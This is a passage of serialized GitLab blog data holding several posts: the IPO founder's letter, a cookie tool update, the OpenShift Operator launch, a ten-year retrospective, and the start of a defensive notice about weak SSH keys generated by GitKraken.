${CI_PROJECT_NAME}/nginx'\n```\n\n### Complete your DevOps lifecycle\n\nYou can learn more about the newest GitLab registries for Helm and Terraform in this [#EveryoneCanContribute cafe session](https://everyonecancontribute.com/post/2021-07-28-cafe-40-terraform-helm-gitlab-registry/) and inspect the [deployment repository](https://gitlab.com/everyonecancontribute/kubernetes/civo-k3s).\n\nTry the Helm chart registry and share your workflows. Are there any features missing to complete your DevOps lifecycle? Let us know [on Discord](https://discord.gg/qgQWhD6wWV).\n\nCover image by [Joseph Barrientos](https://unsplash.com/@jbcreate_) on [Unsplash](https://unsplash.com/photos/eUMEWE-7Ewg)\n{: .note}\n",[4103,1385,2509],{"slug":16911,"featured":6,"template":678},"improve-cd-workflows-helm-chart-registry","content:en-us:blog:improve-cd-workflows-helm-chart-registry.yml","Improve Cd Workflows Helm Chart Registry","en-us/blog/improve-cd-workflows-helm-chart-registry.yml","en-us/blog/improve-cd-workflows-helm-chart-registry",{"_path":16917,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16918,"content":16923,"config":16928,"_id":16930,"_type":16,"title":16931,"_source":17,"_file":16932,"_stem":16933,"_extension":20},"/en-us/blog/gitlab-inc-takes-the-devops-platform-public",{"title":16919,"description":16920,"ogTitle":16919,"ogDescription":16920,"noIndex":6,"ogImage":12013,"ogUrl":16921,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16921,"schema":16922},"GitLab Inc. takes The DevOps Platform public","Today is the day GitLab Inc. takes The DevOps Platform public.","https://about.gitlab.com/blog/gitlab-inc-takes-the-devops-platform-public","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Inc. takes The DevOps Platform public\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2021-10-14\",\n      }",{"title":16919,"description":16920,"authors":16924,"heroImage":12013,"date":16925,"body":16926,"category":962,"tags":16927},[3532],"2021-10-14","\nToday, GitLab Inc. announced the next milestone in our journey as we become a publicly traded company on the Nasdaq Global Market (NASDAQ: GTLB). GitLab was the first company to publicly live stream the entire end-to-end listing day at Nasdaq. \n\nIn a world where software defines the speed of innovation, every company must become a software company or they’ll be disrupted by a software company. We believe that GitLab, the DevOps Platform, helps companies to deliver software faster and more efficiently, while strengthening security and compliance. And it all happens inside our single platform where engineering, security, and operations teams can collaborate together. \n\nIn my [Founder’s Letter](#foundersletter), which you can read below, I told GitLab’s origin story. GitLab did not start in a tech incubator, garage, or Bay Area apartment. In 2011, my co-founder, Dmitriy Zaporozhets, created GitLab from his house in Ukraine. In 2012, I discovered GitLab from my home in the Netherlands on a tech news site. I thought that it was natural that a collaboration tool for developers was open source so people could contribute to it. As a Ruby developer, I was impressed by GitLab’s code quality, especially since it absorbed more than 300 contributions in the first year. In 2013, Dmitriy tweeted that he would like to work on GitLab full-time. After reading that tweet, I approached him, and we partnered so he could work on GitLab full-time. We incorporated GitLab Inc. in 2014 and applied to Y Combinator, a technology accelerator in Silicon Valley. In 2015, we participated in their program, and this greatly accelerated our business.\n\nTo ensure the quality of the GitLab application, Dmitriy built a second application, GitLab CI, to automatically test our code. In 2015, Kamil Trzciński, a member of the wider community, contributed a better version of the GitLab CI application so that it could run jobs in parallel. Dmitriy and I quickly made this new Runner the default version, and Kamil ended up joining the company. Kamil proposed integrating the two applications, which Dimitriy and I initially disagreed with. Thankfully, Kamil persisted in arguing for combining GitLab and GitLab CI into a single application. Dmitriy and I came around to Kamil’s point of view and the results were far better than anyone expected. The single application was easier to understand, faster to use, and enabled collaboration across functions. We had invented what we believed to be the first true DevOps platform and proceeded to build it out. \n\nToday, we believe that GitLab is the leading DevOps platform with an estimated 30 million registered users. GitLab's mission is to ensure that everyone can contribute. When everyone can contribute, users become contributors, and we greatly increase the rate of innovation. \n\n“GitLab also has more than 2,600 contributors in its open source community, which it lists as a competitive strength” - Stephanie Condon, ZDNet*\n\nWe are making progress toward our mission by elevating others through knowledge sharing, job access, and our software platform.\n\nGitLab’s values and underlying operational principles are core to our past, present, and future success. Most companies regress to the mean and slow down over time. We plan to maintain our startup ethos by continuing to do the following:\n\n- Reinforcing our values\n- Making quick, informed decisions\n- Designating a directly responsible individual (DRI) to own decision making for a workstream or initiative\n- Organizing informal communications\n- Challenging conventions and using boring solutions\n- Having a bias for action\n- Remembering we are an organization, not a family\n- Having time based releases\n- Supporting individual innovation through coaches and incubation\n- Dogfooding\n\nWe believe our approach has an impact on not only our business, but the industry as a whole. And we are not the only ones. \n\n“There are few companies that have had as positive an impact on the culture of an industry as @gitlab has.” - James Wise, Partner, Balderton on Twitter\n\nFrom day 1, we have co-created with the wider GitLab community, and together we have advanced the DevOps Platform. I am excited to keep building to make GitLab’s “everyone can contribute” mission a reality.\n\n## \u003Ca name=\"foundersletter\">\u003C/a> Founder’s Letter from the GitLab S-1\n\n## Letter From Our CEO\n\n**Origins**\n\nGitLab did not start in a tech incubator, garage, or Bay Area apartment. In 2011, my co-founder, Dmitriy Zaporozhets, created GitLab from his house in Ukraine. \n\nIn 2012, I discovered GitLab from my home in the Netherlands on a tech news site. I thought that it was natural that a collaboration tool for developers was open source so people could contribute to it. As a Ruby developer, I was impressed by GitLab’s code quality, especially since it absorbed more than 300 contributions in the first year. In 2013, Dmitriy tweeted that he would like to work on GitLab full-time. After reading that tweet, I approached him, and we partnered so he could work on GitLab full-time. We incorporated GitLab in 2014 and applied to Y Combinator, a technology accelerator in Silicon Valley. In 2015, we participated in their program, and this greatly accelerated our business.\n\n**DevOps Platform**\n\nTo ensure the quality of the GitLab application, Dmitriy built a second application, GitLab CI, to automatically test our code. In 2015, Kamil Trzciński, a member of the wider community, contributed a better version of the GitLab CI application so that it could run jobs in parallel. Dmitriy and I quickly made this new Runner the default version, and Kamil ended up joining the company.\n\nWhen Kamil proposed integrating the two applications, Dimitriy and I initially disagreed with him. Dmitriy felt that the applications were already integrated as well as two separate applications could be. And I believed that customers wanted to mix and match solutions. Thankfully, Kamil persisted in arguing for combining GitLab and GitLab CI into a single application. Dmitriy and I came around to Kamil’s point of view once we realized that combining the two applications would lead to greater efficiency for our team members and our users.\n\nThe results were far better than anyone expected. A single application was easier to understand, faster to use, and enabled collaboration across functions. We had invented what we believed to be the first true DevOps platform and proceeded to build it out. Kamil’s advocacy inspired GitLab’s “disagree, commit, and disagree'' sub-value. We allow GitLab team members to question decisions even after they are made. However, team members are required to achieve results on every decision while it stands, even while they are trying to have it changed.\n\n**Mission**\n\nGitLab's mission is to ensure that everyone can contribute. When everyone can contribute, users become contributors, and we greatly increase the rate of innovation. We are making progress toward our mission by elevating others through knowledge sharing, job access, and our software platform. We promote knowledge sharing through publishing how we operate in our handbook, an online repository of how we run the company that now totals more than 2,000 webpages. The lessons we have learned and put in the handbook are available to anyone with an internet connection. We contribute to job access by helping people with their tech careers and educating the world on remote work best practices. We believe that remote work is spreading job access more evenly across regions and countries. Our software platform brings together development, operations, and security professionals and makes it faster and more secure for them to innovate together.\n\n**Stewardship**\n\nMost of the time, when a company starts commercializing an open source software project, the wider community around the project shrinks. This has not been the case with GitLab. The wider community around GitLab is still growing. We are proud that GitLab is a co-creation of GitLab team members and users. We have ten stewardship promises that commit us to balancing the need to generate revenue with the needs of the open source project and the wider community. In our first year, we received just over 300 code contributions. Now, we frequently exceed this number in a single month.\n\n**Values**\n\nFrom the beginning of GitLab, we have been all-remote as the initial team members lived in the Netherlands, Ukraine, and Serbia. GitLab was founded before remote work was a proven model, so investors were worried about our ability to effectively manage the business and scale. That early skepticism required us to establish explicit mechanisms for value reinforcement. We now have over 20 mechanisms listed in our handbook. Some reinforcements are small. For example, team members have access to a Zoom background that showcases each of our values as icons. Others are more substantial. For example, every team member’s promotion document is structured around our values and shared with the entire company.\n\nGitLab’s values and underlying operational principles are core to our past, present, and future success. These values are:\n\n1. Results - This is the most important value in our values hierarchy as strong results enable us to keep doing the right things. If we have strong business momentum, we can continue to invest toward our ambitious, long-term mission. We care about what is achieved, not the hours worked. Since you get what you measure and reward, we do not encourage long hours and instead focus on results. For example, to discourage team members from focusing on hours worked, team members are discouraged from publicly thanking others for working long hours or late nights. This is intended to prevent pressure to work longer hours or highlighting longer hours as something that is rewarded.\n2. Collaboration - Team members must work effectively with others to achieve results. To encourage collaboration, we have about four group conversations per week. These are meetings in which departments at GitLab share their results with team members throughout the company. Group conversations enable all team members to understand and question every part of the business. This access to information and context supports collaboration.\n3. Efficiency - Working efficiently enables us to make fast progress, which makes work more fulfilling. For example, we only hold meetings when topics need to be discussed synchronously. When we do have a meeting, we share the discussion topics, the slide deck, and sometimes a recording of someone presenting the slide deck beforehand. This way we can dedicate the synchronous time of the meeting to discussion, not team members presenting material. We also have speedy meetings that are short, start on time, and end at least five minutes before the next one begins. We encourage team members to work together in public chat channels as much as possible instead of through direct messages. This makes information readily available to anyone who is interested or may become interested at a future point.\n4. Diversity, Inclusion, and Belonging (DIB) - We believe that team member diversity leads to better decisions and a greater sense of team member belonging. We spend more money than the industry average per hire to ensure we approach a diverse set of candidates. We have a DIB Program which includes Team Member Resource Groups (TMRGs), voluntary, team member-led groups, focused on fostering DIB within GitLab. I'm proud of team member driven initiatives such as mentoring for an advanced software engineering course at Morehouse College, a historically Black liberal arts school. We also do Reverse Ask Me Anything, meetings in which I ask questions of Team Member Resource Groups and get to learn from their experiences. We try to work asynchronously as much as possible to not be dependent on time zone overlap. This enables us to hire and work with people around the world from different cultures and backgrounds.\n5. Iteration - By reducing the scope of deliverables, we are able to complete them earlier and get faster feedback. Faster feedback gives us valuable information that guides what we do next. We measure and set targets for how many changes are expected from each engineering team. This encourages teams to reduce the scope of what they build and ship changes in smaller increments. We know that smaller changes are easier to review and less risky. The end result is that we are able to get more done as the higher frequency of changes more than compensates for the smaller size of them. We release features and categories even when they are minimally viable. We do not wait for perfection when we can offer something of value, get feedback, and allow others to contribute to features by refining and expanding upon them.\n6. Transparency - By making information public, we can reduce the threshold to contribute and make collaboration easier. In addition to our publicly shared handbook, we also livestream and share recordings of some of our meetings. I have CEO Shadows who attend all my GitLab meetings during a two week rotation. We are public about our strategy, risks, and product direction.\n\nThese are living values that are updated over time. In 2020 alone, we made 329 improvements to the GitLab Values page of our handbook.\n\n**Still a Startup**\n\nMost companies regress to the mean and slow down over time. We plan to maintain our startup ethos by doing the following:\n\n1. **Reinforcing our values**: We have more than 20 documented ways to reinforce GitLab’s values. Since hiring, bonuses, and promotions provide strong signals of what is valued and rewarded, we make values the lens through which we evaluate team member fit and advancement.\n2. **Quick and informed decisions**: We are able to combine the advantages of consensus organizations and hierarchical organizations by splitting decisions into two phases. In the data gathering phase, we employ the best of consensus organizations as we encourage people to contribute their ideas and opinions. In the decision phase, we benefit from the best of hierarchical organizations with one person, the directly responsible individual, deciding what to do without having to convince the people who made suggestions.\n3. **A directly responsible individual (DRI)**: A DRI is a single person who owns decision making authority and responsibility for the success of a given workstream or initiative. We avoid confusion and empower team members by being clear about the DRI. With a few documented exceptions, the person who does the work resulting from the decision gets to make the decision. DRIs tend to have the context required for good decision making and are empowered by their ability to use their own judgement in doing what is best for the business.\n4. **Organize informal communications**: Informal team member communications, such as a chat about life outside of work, are necessary for building trust. Trust is essential for great business results. Many businesses invest heavily in offices and facilities, because they believe offices are necessary for informal communication.\n\nDuring the pandemic, many businesses that were forced to work remotely discovered that productivity increased. Many of these same businesses are now making plans to return to the office. One reason being given for the return to the office is that not everyone can work from home. We solve this by allowing people to rent work space. The other main reason given is that people miss working from a central office with co-workers. I don’t think that people miss the commute or the office furniture. They miss informal communication. Central offices are a really expensive, inconvenient, and indirect way to facilitate information communication. It is more efficient to directly organize informal communication.\n\nFor example, every person who joins GitLab has to schedule at least five coffee chats during their onboarding. We also have social calls, Ask Me Anything meetings with senior leaders, and 15 other explicit ways to encourage employee connections and relationship building. Intentionally organizing informal communication enables the trust-building conversations that are essential for collaboration. This can be more effective than relying on chance encounters in an office building. You can connect with team members throughout the world and across departments through a coffee chat. You may not meet people outside of your own floor in an office setting.\n\n5. **Challenge conventions**: We do not do things differently for the sake of being different, and we use boring solutions whenever possible. That said, we're also willing to deviate from conventions when it can benefit GitLab and the wider community. Before the COVID-19 pandemic, we believe GitLab was the largest all-remote company in the world. We now teach others how to succeed as remote companies and employees. We aim to be the most transparent company of our size. This transparency has had demonstrable benefits ranging from increased team member productivity to enhanced brand awareness. What some saw as a liability, we have shown to be a strength.\n6. **Bias for action**: Decisions should be thoughtful, but delivering fast results requires the fearless acceptance of occasionally making mistakes. Our bias for action may result in the occasional mistake, but it also allows us to course correct quickly. We keep the stakes low for mistakes for the sake of transparency. When people are comfortable communicating missteps, risk aversion and secrecy don’t become the norm.\n7. **Not a family**: Some companies talk about being a 'Family.' We don't think that is the right perspective. At GitLab, the relationship is not the end goal. The goal is results. We are clear about accountability and hold people to a clearly articulated standard. When people do not perform, we try to help them improve. If they still can’t meet expectations, we let them go.\n8. **Time based release**: We have introduced a new, enhanced version of our software on the 22nd of every month for over nine years. A time based release ensures that when a feature is ready, its release will not be held up by another that is not. Aligned with our value of iteration, we try to reduce the scope of each feature so that it fits in a single release.\n9. **Individual innovation**: We empower individuals to innovate. For example, we have designated coaches who support contributors from the wider community in getting their contributions to the point where they can be merged by GitLab. We also have an incubation department dedicated to quickly turning ideas into viable features and products.\n10. **Dogfooding**: The best way to quickly improve GitLab is to use it ourselves, or dogfood it, so that we have a quick feedback loop. We use our own product even when a feature is in its early stages of development. This helps us to develop empathy with users and better understand what to build next.\n\n## Long-Term Focus\n\nMore than 40 million software professionals are driving change through software, and this number is growing. These software professionals are rapidly adopting DevOps to accelerate this change. Gartner predicts that by 2023, 40% of organizations will have switched from multiple point solutions to DevOps value stream delivery platforms to streamline application delivery, versus less than 10% in 2020. I believe that 40% is just the beginning, and almost all organizations will eventually use a DevOps Platform. GitLab has a unique opportunity to lead the DevOps Platform market and shape innovation.\nWith a large addressable market, GitLab plans to optimize for long term growth--even if it comes at the expense of short-term profitability. This means that we may not make a profit for a long time as we need to weigh profitability against the clear opportunity to pursue larger, future returns.\n\n## Closing\n\nWith the wider GitLab community, we have created and advanced the DevOps Platform. I am excited to keep building to make GitLab’s “everyone can contribute” mission a reality. I look forward to welcoming investors who share our enthusiasm for collaboration and innovation.\n\n* 2,600 contributors as of July 31, 2021\n",[736,4103],{"slug":16929,"featured":6,"template":678},"gitlab-inc-takes-the-devops-platform-public","content:en-us:blog:gitlab-inc-takes-the-devops-platform-public.yml","Gitlab Inc Takes The Devops Platform Public","en-us/blog/gitlab-inc-takes-the-devops-platform-public.yml","en-us/blog/gitlab-inc-takes-the-devops-platform-public",{"_path":16935,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16936,"content":16941,"config":16945,"_id":16947,"_type":16,"title":16948,"_source":17,"_file":16949,"_stem":16950,"_extension":20},"/en-us/blog/gitlab-updates-its-cookie-management-tool",{"title":16937,"description":16938,"ogTitle":16937,"ogDescription":16938,"noIndex":6,"ogImage":6704,"ogUrl":16939,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16939,"schema":16940},"GitLab updates its cookie management tool","We are updating our cookie management tool. Here's what you need to know.","https://about.gitlab.com/blog/gitlab-updates-its-cookie-management-tool","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab updates its cookie management tool\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2021-10-12\",\n      }",{"title":16937,"description":16938,"authors":16942,"heroImage":6704,"date":16943,"body":16944,"category":736},[711],"2021-10-12","We recently completed a review of our cookie management tool and have decided to take this opportunity to improve the overall experience for our users by unifying our cookie management tool across all GitLab Inc. domains. \n\nGitLab committed to not sending  service usage data from our products (GitLab SaaS and self-managed) to a third-party product analytics service, and we keep that commitment with this update. \n\n## What is changing?\n\nWe’re unifying our cookie management tool across all GitLab Inc. domains to improve the user experience. Starting on 2021-10-12 we will deploy the OneTrust Cookie Management Tool to manage cookies across all gitlab.com sites. This change will provide users with a central location to opt in or out of cookies that are not strictly necessary for our site and its subdomains, including docs.gitlab.com, about.gitlab.com and customers.gitlab.com.\n\nWe also plan to add  a cookie to our trial signup flow and to our commerce flows located inside the gitlab.com application to enable us to understand how visitors are engaging with these pages and to help analyze and improve these flows and resolve any technical issues.  This cookie will not be used for any tracking of how you use the functionality of our SaaS or self-managed products, and users can opt in or out of this cookie through our cookie management tool.\n\n## What won’t change\n\nWe will not be adding additional metrics or mechanisms to collect analytics data from our core product (including all GitLab features and categories). We will continue to honor the Do Not Track (DNT) mechanism in web browsers for both GitLab.com and GitLab Self-Managed users. \n\n## Timeline and implementation\n\nWe plan to roll  out the new cookie management tool on 2021-10-12. This will replace our current cookie tool and will require users to review a new cookie notice and manage the settings of cookies on their next visit. Those settings will be retained per-device and per browser and can be modified after the original selection.",{"slug":16946,"featured":6,"template":678},"gitlab-updates-its-cookie-management-tool","content:en-us:blog:gitlab-updates-its-cookie-management-tool.yml","Gitlab Updates Its Cookie Management Tool","en-us/blog/gitlab-updates-its-cookie-management-tool.yml","en-us/blog/gitlab-updates-its-cookie-management-tool",{"_path":16952,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16953,"content":16959,"config":16964,"_id":16966,"_type":16,"title":16967,"_source":17,"_file":16968,"_stem":16969,"_extension":20},"/en-us/blog/open-shift-ga",{"title":16954,"description":16955,"ogTitle":16954,"ogDescription":16955,"noIndex":6,"ogImage":16956,"ogUrl":16957,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16957,"schema":16958},"GitLab's Kubernetes Operator for OpenShift now available","GitLab Operator will allow teams to run production instances of GitLab on Kubernetes platforms.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667835/Blog/Hero%20Images/generic-bot-bg.png","https://about.gitlab.com/blog/open-shift-ga","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's Kubernetes Operator with support for Red Hat OpenShift is now generally available\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"William Chia\"}],\n        \"datePublished\": \"2021-10-12\",\n      }",{"title":16960,"description":16955,"authors":16961,"heroImage":16956,"date":16943,"body":16963,"category":962},"GitLab's Kubernetes Operator with support for Red Hat OpenShift is now generally available",[16962],"William Chia","Today, GitLab is pleased to announce the general availability (GA) of the GitLab-supported [GitLab Operator](https://docs.gitlab.com/operator/), with the ability to run production instances of GitLab on Kubernetes platforms, including Red Hat OpenShift. \n\nIT organizations that rely on Red Hat OpenShift can now deploy and run GitLab on the same infrastructure they trust for their other shared services. For many organizations in the public sector and regulated industries that only use Red Hat OpenShift, the Operator unlocks the ability to use GitLab, the DevOps Platform, allowing them to move out of [the DIY DevOps stage](/blog/welcome-to-the-devops-platform-era/) and embrace modern DevOps practices with greater speed, efficiency, and improved security. \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/sEBnuhzYD2I\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Why did we build the GitLab Operator? \n\nWe believe user expectations are at an all-time high. They expect always-on applications, available from any device, anywhere in the world. In order to meet these needs software teams employ cloud native methodologies and architectures such as containers and microservices to run reliably at scale. Kubernetes has emerged as the de facto standard for container orchestration and has seen broad adoption by companies of all sizes across all industries. \n\nRed Hat OpenShift is an enterprise-grade Kubernetes distribution that adds productivity and security features designed for the needs of production workloads and systems. Red Hat OpenShift has become a leading choice for security-and-compliance-conscious companies in markets such as the public sector as well as regulated industries.\n\nEnterprise shared services groups often favor running IT applications inside of the Kubernetes or Red Hat OpenShift cluster in order to take advantage of the resilience and scale it offers. Each app they can’t run inside their cluster creates operational overhead as it forces them to manage legacy infrastructure in order to support the app. \n\nGitLab was an early adopter of Kubernetes, adding capabilities such as a built-in container registry and native deployment from GitLab CI/CD to a Kubernetes Cluster as early as 2016 [[1]](/releases/2016/12/22/gitlab-8-15-released/) [[2]](/releases/2016/12/22/gitlab-8-15-released/), with official installation of GitLab instances via Helm chart in 2017 [[3]](/releases/2017/05/22/gitlab-9-2-released/#official-gitlab-installation-on-kubernetes). As Kubernetes quickly evolved, often with breaking changes, GitLab chose to focus on vanilla Kubernetes in order to establish a strong foundation to reach as broad a base as possible. However, this meant IT organizations running their applications in a Red Hat OpenShift cluster either couldn’t use GitLab or needed to deploy their instance into separate legacy infrastructure with all of the associated overhead. \n\n## Introducing the GitLab Operator!\n\nEarlier this year the [GitLab 13.11](https://about.gitlab.com/releases/2021/04/22/gitlab-13-11-released/#deploy-gitlab-on-openshift-and-kubernetes-with-the-gitlab-operator-beta) release went live accompanied by [the beta release of the GitLab Operator](https://cloud.redhat.com/blog/test-the-new-gitlab-operator-for-openshift). Over the past 6 months, GitLab has worked closely with Red Hat to discuss technical details and optimize compatibility. Using the [Operator pattern](https://kubernetes.io/docs/concepts/extend-kubernetes/operator/) developed by CoreOS, the GitLab Operator provides an enhanced way to deploy and operate GitLab. \n\n## What is an Operator? \n\nGenerally, the intention of an Operator is to take the operational knowledge of an administrator and automate it with software running inside the cluster. Day 1 tasks, such as installation and configurations, along with Day 2 tasks such as upgrades with minimized downtime, are now integrated into the cluster and actioned through an Operator. \t\n\n## Expanding Beyond the GitLab Helm Chart\n\nThe GitLab Operator and [Cloud Native Helm Chart](https://docs.gitlab.com/charts/) are offered in tandem as deployment solutions for cloud native environments. Behind the scenes, the Operator consumes the Helm chart to model operations. Both are officially supported patterns for deployment.\n\nThe Operator offers extended capabilities beyond the Cloud Native Helm Chart. The Operator functions to not only deploy GitLab initially, it also actively secures the deployment against unwarranted changes and keeps GitLab continually up-to-date as components are versioned. Most importantly, the GA release of the GitLab Operator provides the ability to run production instances of GitLab on Red Hat Openshift (with official Red Hat OpenShift certification coming soon!). While the Helm Chart only supports vanilla Kubernetes, the Operator runs on both Red Hat OpenShift and vanilla Kubernetes. \n\n## Get started \n\nVisit [the GitLab Operator documentation](https://docs.gitlab.com/operator/) for more information on known limitations and prerequisites along with a full installation guide. \n",{"slug":16965,"featured":6,"template":678},"open-shift-ga","content:en-us:blog:open-shift-ga.yml","Open Shift Ga","en-us/blog/open-shift-ga.yml","en-us/blog/open-shift-ga",{"_path":16971,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16972,"content":16977,"config":16982,"_id":16984,"_type":16,"title":16985,"_source":17,"_file":16986,"_stem":16987,"_extension":20},"/en-us/blog/how-ten-steps-over-ten-years-led-to-the-devops-platform",{"title":16973,"description":16974,"ogTitle":16973,"ogDescription":16974,"noIndex":6,"ogImage":12013,"ogUrl":16975,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16975,"schema":16976},"How ten steps over ten years led to the DevOps Platform","It's been ten years since the first commit to GitLab! Here's a look at ten critical choices that shaped us.","https://about.gitlab.com/blog/how-ten-steps-over-ten-years-led-to-the-devops-platform","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How ten steps over ten years led to the DevOps Platform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brendan O'Leary\"}],\n        \"datePublished\": \"2021-10-11\",\n      }",{"title":16973,"description":16974,"authors":16978,"heroImage":12013,"date":16979,"body":16980,"category":8943,"tags":16981},[11790],"2021-10-11","\nThe first commit to GitLab (!!) was 10 years ago. Today, it’s an entirely different world: DevOps is increasingly mainstream and there's a DevOps platform revolution.\n\nWe didn’t have a crystal ball back then, but we did try to create a product, a culture and a company that reflected what we thought mattered most. Here’s a look back at 10 key decisions we made that still have impact:\n\n1. Work in parallel: When we started, it was clear the waterfall method of software development - where one stage waited on another stage and nothing happened independently - slowed everything. We decided right from the beginning that a “work in parallel” philosophy would be fundamental to our culture and our behaviors. Also, such a philosophy naturally supported everything else we did, including bringing CI and CD together and operating as an all-remote company. Working in parallel is also vital to success with DevOps.\n\n2. CI, meet git: To merge dev and ops you have to merge development and operations. We [weren’t really sure](/blog/gitlab-hero-devops-platform/) bringing CI together with a git repository was the right step to take, but we tried it and [it worked](/blog/beginner-guide-ci-cd/). Now, developers expect CI to be perfectly integrated into their daily work, and, more and more, they are using a DevOps platform to centralize CI and CD.\n\n3. Cloud native: We’ve been talking about Kubernetes and the options made possible by cloud-native development since [2017](/blog/containers-kubernetes-basics/). We’re true believers in supporting the ability to embrace cloud-native technology and patterns.  The concept of cloud native enables teams to deliver better software faster, break down their applications into microservices and focus engineering time on delivering value to their customers - not on maintaining brittle infrastructure.\n\n4. The mighty merge request: We doubled down on the idea of a merge request, making it the hub of absolutely everything. Merge requests are not only the gateway to production, but all the other critical steps, such as security checks, which can be found in there as well. Plus, the merge request serves as a living record of changes and is essential for [better code review](/blog/iteration-and-code-review/).\n\n5. Developer-first security: For developers to have ownership of security, they need scanning early in the process and results in their workflow. That’s why [developer-first security](/topics/devsecops/what-is-developer-first-security/) is at the heart of our DevOps Platform.\n\n6. A complete definition of security: Security isn’t a “one and done” effort and our DevOps Platform enables us to offer a broad spectrum of security scans that goes far beyond just SAST and DAST. From scanning for dependencies or looking at containers, we cover all the security bases in a single platform.\n\n7. All remote, all the time: With no corporate headquarters and employees in 65 countries and regions (as of October 2021), we’re [all remote](https://handbook.gitlab.com/handbook/company/culture/all-remote/guide/) and proud of it. This decision transformed into a corporate value that has influenced our choices and behaviors. \n\n8. Asynchronous communication: A natural result of being remote, [asynchronous communication](https://handbook.gitlab.com/handbook/company/culture/all-remote/asynchronous/) is something we take seriously. We’re a [“handbook first”](https://handbook.gitlab.com/handbook/company/culture/all-remote/handbook-first/) organization, meaning we write everything down so information is as self-service as possible. We also carefully consider what time is spent in meetings, limiting their frequency and regularly asking ourselves if “asynchronous” is better. This has allowed us to successfully have employees in nearly every time zone around the world and follow the working in parallel philosophy.\n\n9. Visibility: Planning is critical, but it’s equally important to pair it with visibility so everyone knows what’s happening and where it’s happening. Giving context for the original plan to all team members throughout the DevOps lifecycle, how the plan has changed, and what the implementation looks like in the end is a critical advantage to a single DevOps platform.  Without this, time is wasted trying to update multiple systems with issue status, or having conflicting information in independent tools. \n\n10. Measure the results: We firmly believe it’s important to know how the stages of the SDLC are going, in detail. After all, if you can’t measure your results, how can you know things are moving in the right direction? Many DevOps teams don’t or can’t measure, but that can make it difficult to convince management of the value of the methodology. A DevOps platform makes measurement easy.\n\n## Read more about the DevOps Platform:\n\n- [The journey to a DevOps Platform](/blog/the-journey-to-a-devops-platform/)\n\n- [Making the case for a DevOps platform: What data and customers say](/blog/making-the-case-for-a-devops-platform-what-data-and-customers-say/)\n\n- [Agile planning with a DevOps platform](/blog/agile-planning-with-a-devops-platform/)\n\n- [Welcome to the DevOps Platform era](/blog/welcome-to-the-devops-platform-era/)\n\n- [It's time to build more accessible software. A DevOps platform can help](/blog/how-the-devops-platform-makes-building-accessible-software-easier/)\n",[7116,4103,676],{"slug":16983,"featured":6,"template":678},"how-ten-steps-over-ten-years-led-to-the-devops-platform","content:en-us:blog:how-ten-steps-over-ten-years-led-to-the-devops-platform.yml","How Ten Steps Over Ten Years Led To The Devops Platform","en-us/blog/how-ten-steps-over-ten-years-led-to-the-devops-platform.yml","en-us/blog/how-ten-steps-over-ten-years-led-to-the-devops-platform",{"_path":16989,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16990,"content":16995,"config":16998,"_id":17000,"_type":16,"title":17001,"_source":17,"_file":17002,"_stem":17003,"_extension":20},"/en-us/blog/notice-for-gitkraken-users-with-gitlab",{"title":16991,"description":16992,"ogTitle":16991,"ogDescription":16992,"noIndex":6,"ogImage":14173,"ogUrl":16993,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16993,"schema":16994},"Notice for GitKraken users with GitLab","How we responded to Axosoft’s GitKraken software vulnerability affecting SSH keys and actions users should take.","https://about.gitlab.com/blog/notice-for-gitkraken-users-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Notice for GitKraken users with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2021-10-11\",\n      }",{"title":16991,"description":16992,"authors":16996,"heroImage":14173,"date":16979,"body":16997,"category":674},[711],"We’re sharing details on a vulnerability found with the Axosoft GitKraken software. Axosoft found a defect in the key gen package used by GitKraken versions 7.6.0 to 8.0.0 that could generate weak or duplicate SSH keys. This could enable an attacker to gain unauthorized access to an account or repositories on GitLab.com or a self-managed instance.\n\nBased on our investigations to date, there is no indication that GitLab.com or any projects on GitLab.com that use the GitKraken tool have been impacted by this vulnerability.\n\n## Who is affected?\n\nThis vulnerability affects GitKraken users who created SSH keys using GitKraken releases from May 12, 2021 (7.6.0) to the week of September 27, 2021 (8.0.0). \n\nGitKraken 8.0.1, released on September 28, 2021, fixes the bug.  \n\n## Action we have taken\n\n* We have emailed users with affected keys earlier today, October 11, 2021. \n* For GitLab.com customers, we have already blocked known weak keys.\n\n## If affected, action you need to take\n\nIf you used a version of GitKraken prior to 8.0.1 to generate SSH keys, we highly recommend that you take the following actions:\n\n**Self-managed customers:**\n\n1. **Revoke the SSH keys immediately.** For additional instructions, see: [https://docs.gitlab.com/ee/administration/credentials_inventory.html#delete-a-users-ssh-key](https://docs.gitlab.com/ee/administration/credentials_inventory.html#delete-a-users-ssh-key) \n\n2. Update GitKraken to the latest version: [https://support.gitkraken.com/release-notes/current/](https://support.gitkraken.com/release-notes/current/) \n\n3. Generate new SSH keys: [https://support.gitkraken.com/integrations/gitlab/#generating-an-ssh-key-for-gitlab](https://support.gitkraken.com/integrations/gitlab/#generating-an-ssh-key-for-gitlab) \n\n**GitLab.com 